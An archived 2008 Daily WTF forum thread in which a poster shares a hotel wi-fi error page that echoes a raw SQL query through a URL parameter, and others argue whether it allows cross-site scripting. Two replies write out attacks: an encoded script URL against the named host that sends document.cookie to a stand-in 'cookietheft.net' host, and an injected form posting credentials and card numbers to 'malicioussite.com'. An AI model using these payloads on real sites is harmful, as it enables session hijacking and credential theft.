The Daily WTF: Curious Perversions in Information Technology
Welcome to TDWTF Forums Sign in | Join | Help
in Search

SQL "Injection" WTF

Last post 07-10-2008 1:47 AM by Hank. 19 replies.
Page 1 of 1 (20 items)
Sort Posts: Previous Next
  • 07-08-2008 11:23 PM

    • Hank
    • Not Ranked
    • Joined on 05-08-2008
    • Posts 7

    SQL "Injection" WTF

    I just checked into a Holiday Inn in Los Angeles.. and connected to their free wi-fi network. Of course, it loads an authentication page (We were given a logon and password). Maybe it's because I use Opera and not IE, or just maybe they had a database hiccup.. but this is the error page I received (super long URL follows):

    http://ethoserver.ezone.net/message.php?mess=An%20error%20occured%20durring%20processing.%20%20Please%20call%20support.%3CBR%3ELost%20connection%20to%20MySQL%20server%20during%20query%3CBR%3ESQL:%20select%20count(*)%20from%20LoginsActive%20where%20MacAddress='00:90:96:AC:8C:D8'%20and%20MacAddress!=''%20and%20Iface='br0'%20and%20PropertyID='16'%20%3CBR%3E%3CBR%3EIP:sql.ethostream.com%3CBR%3EDBU:remote%3CBR%3EDB:

    Plenty of WTFs to enjoy there. Too bad they didn't include the login ID and password.

    -Hank
    Filed under:
  • 07-09-2008 12:07 AM In reply to

    Re: SQL "Injection" WTF

     i got a 404

  • 07-09-2008 3:37 AM In reply to

    • Dalden
    • Not Ranked
    • Joined on 06-18-2008
    • Cape Town, South Africa
    • Posts 17

    Re: SQL "Injection" WTF

     Granted, that is a horrible way to compose a message and they should really be logging this error internally and rather present you with a generic message so when you call support they can look in their log file. But they're not really giving away any information you wouldn't already know or could guess.

    And you can't do anything with the MySQL server name or table name unless they also misconfigured the server to allow remote access over IP.

     

  • 07-09-2008 9:58 AM In reply to

    Re: SQL "Injection" WTF

    Dalden:

    Granted, that is a horrible way to compose a message and they should really be logging this error internally and rather present you with a generic message so when you call support they can look in their log file. But they're not really giving away any information you wouldn't already know or could guess.

    And you can't do anything with the MySQL server name or table name unless they also misconfigured the server to allow remote access over IP.

    Guess you've never heard of XSS then. 

    < pstorer> Bans don't mean shit on the forum. It's like being on the Sex Offender List. You can still entice kids into your van with candy.

    Want more? Go the IRC channel #TDWTFMafia on irc.slashnet.org.

    Farmer Brown is MasterPlanSoftware. He created a new forum account because he is obsessed with me after I scorned him. Ignoring his trolling is the best way to deal with the crybaby.
  • 07-09-2008 10:24 AM In reply to

    • Dalden
    • Not Ranked
    • Joined on 06-18-2008
    • Cape Town, South Africa
    • Posts 17

    Re: SQL "Injection" WTF

     

    morbiuswilters:

    Guess you've never heard of XSS then. 

     I have, if you mean cross site scripting? Do you propose tricking someone with local access to the server into running malicious code with the local user's privileges?

  • 07-09-2008 10:29 AM In reply to

    Re: SQL "Injection" WTF

    Dalden:
    I have, if you mean cross site scripting? Do you propose tricking someone with local access to the server into running malicious code with the local user's privileges?

    I mean giving a user a URL formed so that code is injected into the error page.  I'm not sure if that's what you are saying, but it's certainly a security hole.

    < pstorer> Bans don't mean shit on the forum. It's like being on the Sex Offender List. You can still entice kids into your van with candy.

    Want more? Go the IRC channel #TDWTFMafia on irc.slashnet.org.

    Farmer Brown is MasterPlanSoftware. He created a new forum account because he is obsessed with me after I scorned him. Ignoring his trolling is the best way to deal with the crybaby.
  • 07-09-2008 11:14 AM In reply to

    Re: SQL "Injection" WTF

    The requested URL /message.php was not found on this server.

  • 07-09-2008 11:24 AM In reply to

    Re: SQL "Injection" WTF

    morbiuswilters:

    Dalden:
    I have, if you mean cross site scripting? Do you propose tricking someone with local access to the server into running malicious code with the local user's privileges?

    I mean giving a user a URL formed so that code is injected into the error page.  I'm not sure if that's what you are saying, but it's certainly a security hole.

    I've seen some apps using this "method" for error messages. At least one financial institution had something like this:

    http://wtfbank.com/SomeCrappyApp/error_message.jsp?error=The%20desktop%20environment%20could%20not%20be%20loaded.%20Please%20contact%20your%20administrator.

    We took some time ago a snapshot of that error "page", with another message akin to User%20too%20stupid%20to%20use%20computer and sometimes used said URL in testing environments. We were trying to show how bad an idea it was to display error messages like this, but no one cared.

  • 07-09-2008 11:27 AM In reply to

    • Hank
    • Not Ranked
    • Joined on 05-08-2008
    • Posts 7

    Re: SQL "Injection" WTF

    Apparently you need to be connected to their network to see the error:

    Here's a screen print:


  • 07-09-2008 11:31 AM In reply to

    Re: SQL "Injection" WTF

  • 07-09-2008 11:32 AM In reply to

    Re: SQL "Injection" WTF

    morbiuswilters:

    I mean giving a user a URL formed so that code is injected into the error page.  I'm not sure if that's what you are saying, but it's certainly a security hole.

    A very minor one in this case though, I think. From what I can see, the site uses neither cookies nor a login on that host. In fact, the message.php thing seems to have been the only dynamic page there.

    So until we get cross domain XMLHTTP, I don't think you could do more harm than the mandatory 'while(1)alert("lulz, I'm in ur browser getting on ur nerves");' message loop.

    [EDIT]

    Okay, I'm connecting from outside, so maybe I don't see some things there.

  • 07-09-2008 11:33 AM In reply to

    • Hank
    • Not Ranked
    • Joined on 05-08-2008
    • Posts 7

    Re: SQL "Injection" WTF

    danixdefcon5:
    That works!! (for me, currently on their network)
  • 07-09-2008 1:35 PM In reply to

    • snover
    • Not Ranked
    • Joined on 07-09-2008
    • Posts 2

    Re: SQL "Injection" WTF

    PSWorx:

    So until we get cross domain XMLHTTP, I don't think you could do more harm than the mandatory 'while(1)alert("lulz, I'm in ur browser getting on ur nerves");' message loop.

    Those already exist; they're called iframes. :) The bigger problem here though is probably from a social engineering standpoint, where one may be able to inject a form like <form method="post" action="http://malicioussite.com/stealstuff"><p>Enter your username and password/credit card information/mother's maiden name to continue</p><input type="text" name="ccnum" /> ...</form> etc etc.

  • 07-09-2008 2:25 PM In reply to

    Re: SQL "Injection" WTF

    Unless I'm mistaken, aren't they simply passing the error message to display as a URL parameter?  Printing the invalid query to the user isn't the smartest thing in the world, but I'm not sure this page is vunerable to SQL injection...  And yes, this is a horrible way of passing error messages.  I think i did something like it once, before I learned about session variables and cookies.
  • 07-09-2008 2:33 PM In reply to

    Re: SQL "Injection" WTF

    PSWorx:

    So until we get cross domain XMLHTTP, I don't think you could do more harm than the mandatory 'while(1)alert("lulz, I'm in ur browser getting on ur nerves");' message loop.

     

    What about

    http://ethoserver.ezone.net/message.php?mess=%3Cscript%3Ewindow.location%20%3D%20%22http%3A//cookietheft.net/steal%3F%22%20%2B%20document.cookie%3C/script%3E

    It's more likely then you think.

    Filed under:
  • 07-09-2008 2:38 PM In reply to

    Re: SQL "Injection" WTF

    bighusker:
    I think i did something like it once, before I learned about session variables and cookies.

    Error messages in session variables and cookies?  WTF? 

    < pstorer> Bans don't mean shit on the forum. It's like being on the Sex Offender List. You can still entice kids into your van with candy.

    Want more? Go the IRC channel #TDWTFMafia on irc.slashnet.org.

    Farmer Brown is MasterPlanSoftware. He created a new forum account because he is obsessed with me after I scorned him. Ignoring his trolling is the best way to deal with the crybaby.
  • 07-09-2008 5:03 PM In reply to

    Re: SQL "Injection" WTF

    morbiuswilters:

    Error messages in session variables and cookies?  WTF? 

     
    In some convoluted Ajax apps, you might see errors (as well as just about everything else) funneled through the session state.  Not that this is common, and most of the time there's a better way, but it's not totally inconceivable.

    Cookies I can't even guess... 

  • 07-09-2008 9:02 PM In reply to

    Re: SQL "Injection" WTF

    I wasn't referring to passing error messages through sesion variables and cookies.  I was simply referring to passing data around between pages.  5-6 years ago, I would often just keep passing crap through a query_string if it had to cycle through multiple different pages...which meant any time you wanted an extra piece of data to get passed, you had to modify how the query string is built on each page.  And yea...I've never used cookies for anything like that.  I think I was a bit hurried when I typed it.

     

    I can't think of any practical reason for passing specific error messages through a URL parameter....that's a whole other problem. 

  • 07-10-2008 12:25 AM In reply to

    Re: SQL "Injection" WTF

    bighusker:
    I can't think of any practical reason for passing specific error messages through a URL parameter....that's a whole other problem. 

    I have something to confess, I actually thought about doing that once.  I was thinking about how to optimize a site that was already mostly static pages and I thought about having a generic, static "message" page that had the actual message written out by Javascript.  Of course, it would have been properly escaped, but that's still a bit of a WTF.

  • 07-10-2008 1:47 AM In reply to

    • Hank
    • Not Ranked
    • Joined on 05-08-2008
    • Posts 7

    Re: SQL "Injection" WTF

    bighusker:
    but I'm not sure this page is vunerable to SQL injection...


    That's why I put "injection" in quotes. It's injecting SQL into the error message page, not the database.
Page 1 of 1 (20 items)
Powered by Community Server (Non-Commercial Edition), by Telligent Systems